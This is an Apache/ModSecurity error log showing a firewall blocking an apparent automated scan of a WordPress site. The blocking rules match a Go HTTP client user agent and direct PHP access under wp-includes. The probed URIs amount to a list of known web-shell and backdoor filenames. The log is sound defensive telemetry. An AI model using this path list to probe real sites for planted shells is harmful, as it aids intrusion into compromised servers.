[Sat Apr 25 13:58:08.074522 2026] [:error] [pid 44320:tid 44373] [client 193.37.32.155:58203] [client 193.37.32.155] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/html-api/widgets/"] [unique_id "aexX8DmFqSpku_dij8jDjQAAAFE"]
[Sat Apr 25 13:58:13.467630 2026] [:error] [pid 44319:tid 44345] [client 193.37.32.135:65011] [client 193.37.32.135] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/blocks/freeform/"] [unique_id "aexX9czJPAVLUb2pWtKXLwAAABA"]
[Sat Apr 25 13:58:13.737146 2026] [:error] [pid 44319:tid 44335] [client 193.37.32.165:31441] [client 193.37.32.165] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "windfarmcoolants.com.au"] [uri "/wp-admin/options.php"] [unique_id "aexX9czJPAVLUb2pWtKXMAAAAAY"]
[Sat Apr 25 13:58:14.038962 2026] [:error] [pid 44319:tid 44350] [client 193.37.32.109:29583] [client 193.37.32.109] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/Text/Diff/Engine/template-singl-portfolio.php"] [unique_id "aexX9szJPAVLUb2pWtKXMQAAABU"]
[Sat Apr 25 13:58:19.826790 2026] [:error] [pid 44425:tid 44432] [client 193.37.32.133:45545] [client 193.37.32.133] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "windfarmcoolants.com.au"] [uri "/wp-admin/css/colors/sunrise/"] [unique_id "aexX-yUl-VlItvY2tR-NQQAAAMU"]
[Sat Apr 25 13:58:20.434865 2026] [:error] [pid 44319:tid 44352] [client 193.37.32.154:65121] [client 193.37.32.154] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/blocks/social-links/"] [unique_id "aexX_MzJPAVLUb2pWtKXOwAAABc"]
[Sat Apr 25 13:58:20.674010 2026] [:error] [pid 44319:tid 44348] [client 193.37.32.160:49941] [client 193.37.32.160] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "windfarmcoolants.com.au"] [uri "/wp-content/edit-wolf.php"] [unique_id "aexX_MzJPAVLUb2pWtKXPAAAABM"]
[Sat Apr 25 13:58:20.961760 2026] [:error] [pid 46083:tid 46107] [client 193.37.32.153:22919] [client 193.37.32.153] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/customize/wp-conflg.php"] [unique_id "aexX_Dxw_Zq74vWdjmnqKwAAARM"]
[Sat Apr 25 13:58:21.258339 2026] [:error] [pid 44319:tid 44337] [client 193.37.32.147:21699] [client 193.37.32.147] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/js/jcrop/"] [unique_id "aexX_czJPAVLUb2pWtKXPQAAAAg"]
[Sat Apr 25 13:58:21.539646 2026] [:error] [pid 44425:tid 44430] [client 193.37.32.137:41365] [client 193.37.32.137] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/widgets/chosen.php"] [unique_id "aexX_SUl-VlItvY2tR-NQgAAAMM"]
[Sat Apr 25 13:58:21.829028 2026] [:error] [pid 46083:tid 46093] [client 193.37.32.175:28805] [client 193.37.32.175] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/blocks/comment-reply-link/"] [unique_id "aexX_Txw_Zq74vWdjmnqLAAAAQY"]
[Sat Apr 25 13:58:22.058352 2026] [:error] [pid 46083:tid 46096] [client 193.37.32.148:39441] [client 193.37.32.148] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "windfarmcoolants.com.au"] [uri "/mini.php"] [unique_id "aexX_jxw_Zq74vWdjmnqLwAAAQk"]
[Sat Apr 25 13:58:22.258977 2026] [:error] [pid 46083:tid 46091] [client 193.37.32.141:55557] [client 193.37.32.141] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "windfarmcoolants.com.au"] [uri "/ab.php"] [unique_id "aexX_jxw_Zq74vWdjmnqMAAAAQQ"]
[Sat Apr 25 13:58:27.569166 2026] [:error] [pid 44425:tid 44446] [client 193.37.32.166:41057] [client 193.37.32.166] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "windfarmcoolants.com.au"] [uri "/wp-content/themes/radio.php"] [unique_id "aexYAyUl-VlItvY2tR-NRAAAANM"]
[Sat Apr 25 13:58:27.973802 2026] [:error] [pid 44320:tid 44376] [client 193.37.32.142:50815] [client 193.37.32.142] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "windfarmcoolants.com.au"] [uri "/wp-content/wp-conflg.php"] [unique_id "aexYAzmFqSpku_dij8jDmQAAAFQ"]
[Sat Apr 25 13:58:28.764780 2026] [:error] [pid 44425:tid 44428] [client 193.37.32.144:64011] [client 193.37.32.144] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "windfarmcoolants.com.au"] [uri "/we.php"] [unique_id "aexYBCUl-VlItvY2tR-NRQAAAME"]
[Sat Apr 25 13:58:28.970560 2026] [:error] [pid 44425:tid 44437] [client 193.37.32.172:48869] [client 193.37.32.172] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/themes.php"] [unique_id "aexYBCUl-VlItvY2tR-NRgAAAMo"]
[Sat Apr 25 13:58:29.166376 2026] [:error] [pid 44319:tid 44344] [client 193.37.32.156:45987] [client 193.37.32.156] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/rest-api/search/images/"] [unique_id "aexYBczJPAVLUb2pWtKXQAAAAA8"]
[Sat Apr 25 13:58:29.456576 2026] [:error] [pid 44320:tid 44359] [client 193.37.32.140:62375] [client 193.37.32.140] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "windfarmcoolants.com.au"] [uri "/t.php"] [unique_id "aexYBTmFqSpku_dij8jDmgAAAEM"]
[Sat Apr 25 13:58:34.672645 2026] [:error] [pid 44320:tid 44368] [client 193.37.32.156:58477] [client 193.37.32.156] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "windfarmcoolants.com.au"] [uri "/wp-content/plugins/wp-cache-sys/"] [unique_id "aexYCjmFqSpku_dij8jDnwAAAEw"]
[Sat Apr 25 13:58:34.921782 2026] [:error] [pid 44320:tid 44376] [client 193.37.32.153:38129] [client 193.37.32.153] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/js/codemirror/config.php"] [unique_id "aexYCjmFqSpku_dij8jDoQAAAFQ"]
[Sat Apr 25 13:58:36.029077 2026] [:error] [pid 46083:tid 46090] [client 193.37.32.169:23017] [client 193.37.32.169] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/js/tinymce/skins/lightgray/fonts/"] [unique_id "aexYDDxw_Zq74vWdjmnqNAAAAQM"]
[Sat Apr 25 13:58:36.247923 2026] [:error] [pid 44319:tid 44329] [client 193.37.32.173:21329] [client 193.37.32.173] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/PHPMailer/widgets/"] [unique_id "aexYDMzJPAVLUb2pWtKXRgAAAAA"]
[Sat Apr 25 13:58:36.527093 2026] [:error] [pid 44319:tid 44350] [client 193.37.32.132:35083] [client 193.37.32.132] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "windfarmcoolants.com.au"] [uri "/new.php"] [unique_id "aexYDMzJPAVLUb2pWtKXRwAAABU"]
[Sat Apr 25 13:58:41.758228 2026] [:error] [pid 44320:tid 44369] [client 193.37.32.153:56201] [client 193.37.32.153] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/js/dist/script-modules/block-library/navigation/"] [unique_id "aexYETmFqSpku_dij8jDpQAAAE0"]
[Sat Apr 25 13:58:42.137073 2026] [:error] [pid 44319:tid 44334] [client 193.37.32.164:32727] [client 193.37.32.164] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "windfarmcoolants.com.au"] [uri "/database.php"] [unique_id "aexYEszJPAVLUb2pWtKXSwAAAAU"]
[Sat Apr 25 13:58:42.429527 2026] [:error] [pid 44320:tid 44378] [client 193.37.32.150:39281] [client 193.37.32.150] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/blocks/legacy-widget/"] [unique_id "aexYEjmFqSpku_dij8jDpgAAAFY"]
[Sat Apr 25 13:58:48.045995 2026] [:error] [pid 44319:tid 44333] [client 193.37.32.151:33547] [client 193.37.32.151] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/wp-cron.php"] [unique_id "aexYGMzJPAVLUb2pWtKXUQAAAAQ"]
[Sat Apr 25 13:58:48.254785 2026] [:error] [pid 44321:tid 44386] [client 193.37.32.166:33627] [client 193.37.32.166] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "windfarmcoolants.com.au"] [uri "/wp-content/lock360.php"] [unique_id "aexYGI1b5lV-asWa_Y6U3AAAAIM"]
[Sat Apr 25 13:58:48.465102 2026] [:error] [pid 44425:tid 44450] [client 193.37.32.153:39163] [client 193.37.32.153] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/blocks/query-pagination/"] [unique_id "aexYGCUl-VlItvY2tR-NSAAAANc"]
[Sat Apr 25 13:58:48.675054 2026] [:error] [pid 44425:tid 44435] [client 193.37.32.137:34657] [client 193.37.32.137] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "windfarmcoolants.com.au"] [uri "/xmlrpc.php"] [unique_id "aexYGCUl-VlItvY2tR-NSQAAAMg"]
[Sat Apr 25 13:58:48.939299 2026] [:error] [pid 44321:tid 44398] [client 193.37.32.131:40589] [client 193.37.32.131] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "windfarmcoolants.com.au"] [uri "/css.php"] [unique_id "aexYGI1b5lV-asWa_Y6U3gAAAI8"]
[Sat Apr 25 13:58:49.159558 2026] [:error] [pid 44321:tid 44395] [client 193.37.32.109:44755] [client 193.37.32.109] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/theme-compat/network/"] [unique_id "aexYGY1b5lV-asWa_Y6U3wAAAIw"]
[Sat Apr 25 13:58:49.573662 2026] [:error] [pid 44320:tid 44360] [client 193.37.32.176:41151] [client 193.37.32.176] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "windfarmcoolants.com.au"] [uri "/wp-admin/images/block-bindings/"] [unique_id "aexYGTmFqSpku_dij8jDqAAAAEQ"]
[Sat Apr 25 13:58:50.053823 2026] [:error] [pid 44321:tid 44397] [client 193.37.32.145:25155] [client 193.37.32.145] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "windfarmcoolants.com.au"] [uri "/session_init.php"] [unique_id "aexYGo1b5lV-asWa_Y6U4QAAAI4"]
[Sat Apr 25 13:58:50.365186 2026] [:error] [pid 44321:tid 44387] [client 193.37.32.152:42949] [client 193.37.32.152] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "windfarmcoolants.com.au"] [uri "/wp-admin/file.php"] [unique_id "aexYGo1b5lV-asWa_Y6U4gAAAIQ"]
[Sat Apr 25 13:58:50.661544 2026] [:error] [pid 44320:tid 44359] [client 193.37.32.154:26251] [client 193.37.32.154] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/assets/joker.php"] [unique_id "aexYGjmFqSpku_dij8jDqQAAAEM"]
[Sat Apr 25 13:58:50.957910 2026] [:error] [pid 46083:tid 46093] [client 193.37.32.164:41845] [client 193.37.32.164] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/blocks/page-list/"] [unique_id "aexYGjxw_Zq74vWdjmnqNgAAAQY"]
[Sat Apr 25 13:58:56.264983 2026] [:error] [pid 44321:tid 44403] [client 193.37.32.148:46803] [client 193.37.32.148] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/js/dist"] [unique_id "aexYII1b5lV-asWa_Y6U6AAAAJQ"]
[Sat Apr 25 13:58:56.478456 2026] [:error] [pid 44321:tid 44404] [client 193.37.32.143:48621] [client 193.37.32.143] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "windfarmcoolants.com.au"] [uri "/buy.php"] [unique_id "aexYII1b5lV-asWa_Y6U6QAAAJU"]
[Sat Apr 25 13:58:56.742713 2026] [:error] [pid 44321:tid 44397] [client 193.37.32.148:45055] [client 193.37.32.148] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "windfarmcoolants.com.au"] [uri "/wp-content/themes/about.php"] [unique_id "aexYII1b5lV-asWa_Y6U6wAAAI4"]
[Sat Apr 25 13:58:57.597322 2026] [:error] [pid 44319:tid 44351] [client 193.37.32.161:24275] [client 193.37.32.161] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "windfarmcoolants.com.au"] [uri "/wp-admin/network/colors/"] [unique_id "aexYIczJPAVLUb2pWtKXWAAAABY"]
[Sat Apr 25 13:58:58.137064 2026] [:error] [pid 46083:tid 46092] [client 193.37.32.138:20897] [client 193.37.32.138] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "windfarmcoolants.com.au"] [uri "/wp-admin/js/chosen.php"] [unique_id "aexYIjxw_Zq74vWdjmnqOQAAAQU"]
[Sat Apr 25 13:58:58.343674 2026] [:error] [pid 44319:tid 44331] [client 193.37.32.160:25427] [client 193.37.32.160] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "windfarmcoolants.com.au"] [uri "/wp-admin/images/html-api/"] [unique_id "aexYIszJPAVLUb2pWtKXWQAAAAI"]
[Sat Apr 25 13:58:58.662222 2026] [:error] [pid 44319:tid 44329] [client 193.37.32.139:23275] [client 193.37.32.139] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/block-bindings/system_core.php"] [unique_id "aexYIszJPAVLUb2pWtKXWwAAAAA"]
[Sat Apr 25 13:58:58.966823 2026] [:error] [pid 44321:tid 44383] [client 193.37.32.133:26855] [client 193.37.32.133] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "windfarmcoolants.com.au"] [uri "/wp-content/themes/news-portal/user-install.php"] [unique_id "aexYIo1b5lV-asWa_Y6U8gAAAIA"]
[Sat Apr 25 13:58:59.344306 2026] [:error] [pid 44321:tid 44396] [client 193.37.32.137:28229] [client 193.37.32.137] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "windfarmcoolants.com.au"] [uri "/admin.php"] [unique_id "aexYI41b5lV-asWa_Y6U8wAAAI0"]
[Sat Apr 25 13:58:59.558325 2026] [:error] [pid 44321:tid 44403] [client 193.37.32.170:59589] [client 193.37.32.170] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/customize/fonts/"] [unique_id "aexYI41b5lV-asWa_Y6U9AAAAJQ"]
[Sat Apr 25 13:58:59.967080 2026] [:error] [pid 44321:tid 44397] [client 193.37.32.151:36765] [client 193.37.32.151] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "windfarmcoolants.com.au"] [uri "/wp-domain.php"] [unique_id "aexYI41b5lV-asWa_Y6U9QAAAI4"]
[Sat Apr 25 13:59:00.434014 2026] [:error] [pid 46083:tid 46088] [client 193.37.32.137:61199] [client 193.37.32.137] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "windfarmcoolants.com.au"] [uri "/wp-admin/images/chosen.php"] [unique_id "aexYJDxw_Zq74vWdjmnqOgAAAQE"]
[Sat Apr 25 13:59:00.742743 2026] [:error] [pid 44319:tid 44346] [client 193.37.32.135:29005] [client 193.37.32.135] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "windfarmcoolants.com.au"] [uri "/wp-admin/maint/chosen.php"] [unique_id "aexYJMzJPAVLUb2pWtKXYAAAABE"]
[Sat Apr 25 13:59:01.024286 2026] [:error] [pid 44320:tid 44374] [client 193.37.32.155:38075] [client 193.37.32.155] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "windfarmcoolants.com.au"] [uri "/wp-content/plugins/Iitespeed-cache/classwithtostring.php"] [unique_id "aexYJTmFqSpku_dij8jDrQAAAFI"]
[Sat Apr 25 13:59:01.269979 2026] [:error] [pid 46083:tid 46089] [client 193.37.32.131:40873] [client 193.37.32.131] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "windfarmcoolants.com.au"] [uri "/wp-content/languages/plugins/admin.php"] [unique_id "aexYJTxw_Zq74vWdjmnqPAAAAQI"]
